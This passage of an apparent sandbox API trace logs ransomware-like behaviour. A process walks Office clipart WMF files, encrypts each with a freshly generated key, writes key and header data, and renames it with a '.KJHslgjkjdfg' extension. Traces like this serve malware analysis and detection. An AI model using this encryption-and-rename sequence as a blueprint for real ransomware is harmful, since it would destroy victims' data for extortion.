dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.753] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.753] GetProcessHeap () returned 0x2ef0000 [0214.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.753] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.753] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.753] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.754] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.754] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.754] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.754] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.754] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20ca, lpOverlapped=0x0) returned 1 [0214.756] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20d0, dwBufLen=0x20d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20d0) returned 1 [0214.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.756] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20d0, lpOverlapped=0x0) returned 1 [0214.756] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.756] SetEndOfFile (hFile=0x130) returned 1 [0214.760] GetProcessHeap () returned 0x2ef0000 [0214.760] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.760] GetProcessHeap () returned 0x2ef0000 [0214.760] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.kjhslgjkjdfg")) returned 1 [0214.762] CloseHandle (hObject=0x130) returned 1 [0214.762] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0214.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.764] GetProcessHeap () returned 0x2ef0000 [0214.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.764] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.764] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0214.767] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.767] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.767] GetProcessHeap () returned 0x2ef0000 [0214.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.767] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.767] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.767] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.767] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.767] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.768] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.768] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21c2, lpOverlapped=0x0) returned 1 [0214.769] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21d0, dwBufLen=0x21d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21d0) returned 1 [0214.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21d0, lpOverlapped=0x0) returned 1 [0214.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.770] SetEndOfFile (hFile=0x130) returned 1 [0214.773] GetProcessHeap () returned 0x2ef0000 [0214.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.773] GetProcessHeap () returned 0x2ef0000 [0214.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.kjhslgjkjdfg")) returned 1 [0214.775] CloseHandle (hObject=0x130) returned 1 [0214.775] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0214.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.777] GetProcessHeap () returned 0x2ef0000 [0214.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.779] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.779] GetProcessHeap () returned 0x2ef0000 [0214.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.779] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.781] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.781] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.781] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21ec, lpOverlapped=0x0) returned 1 [0214.782] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21f0) returned 1 [0214.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.782] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21f0, lpOverlapped=0x0) returned 1 [0214.783] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.783] SetEndOfFile (hFile=0x130) returned 1 [0214.786] GetProcessHeap () returned 0x2ef0000 [0214.786] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.786] GetProcessHeap () returned 0x2ef0000 [0214.786] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.kjhslgjkjdfg")) returned 1 [0214.788] CloseHandle (hObject=0x130) returned 1 [0214.797] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0214.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.802] GetProcessHeap () returned 0x2ef0000 [0214.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.802] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.824] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.824] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.824] GetProcessHeap () returned 0x2ef0000 [0214.824] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.824] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.825] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.825] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.825] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.825] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.825] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.825] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.826] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ad4, lpOverlapped=0x0) returned 1 [0214.833] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ae0, dwBufLen=0x2ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ae0) returned 1 [0214.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.834] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ae0, lpOverlapped=0x0) returned 1 [0214.834] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.834] SetEndOfFile (hFile=0x130) returned 1 [0214.838] GetProcessHeap () returned 0x2ef0000 [0214.838] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.838] GetProcessHeap () returned 0x2ef0000 [0214.838] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.kjhslgjkjdfg")) returned 1 [0214.840] CloseHandle (hObject=0x130) returned 1 [0214.840] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0214.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.841] GetProcessHeap () returned 0x2ef0000 [0214.841] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.841] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.841] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.852] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.853] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.853] GetProcessHeap () returned 0x2ef0000 [0214.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.853] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.853] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.853] WriteFile (in: hFile=0x130, 